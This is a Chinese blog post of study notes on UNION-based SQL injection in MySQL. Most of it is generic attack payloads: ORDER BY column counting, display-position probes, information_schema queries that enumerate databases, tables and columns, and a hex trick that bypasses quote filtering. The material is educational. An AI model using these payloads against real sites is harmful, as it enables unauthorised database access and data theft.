联合查询sql注入
Posted 安全小菜姬
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联合查询sql注入相关的知识,希望对你有一定的参考价值。
大家好,这里是安全小菜姬。每天在这里和大家分享我的学习笔记。
今天和大家分享的是联合查询sql注入的笔记。
在开始之前,我们需要了解mysql中UNION的使用规则:
•UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
•UNION中的每个查询必须包含相同的列数。
•UNION会从查询结果集中自动去除了重复行。
•只有最后一个select子句允许有order by;
•只有最后一个select子句允许有limit
联合查询sql注入
利用前提: 页面上有显示位
优 点: 方便、快捷、易于利用
缺 点: 需要显示位
判断列数
order by 10
order by 20
order by 15
......
判断显示位
php?id=-1 union select 1,2,3,4,5
获取当前数据库名称和当前连接数据库的用户
php?id=-1 union select 1,2,database(),4,5
php?id=-1 union select 1,2,user(),4,5
列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=‘security’
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
列出(数据库:test 表:admin )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='test' and TABLE_NAME='admin' limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=‘security’ and TABLE_NAME=‘users’
以上是关于联合查询sql注入的主要内容,如果未能解决你的问题,请参考以下文章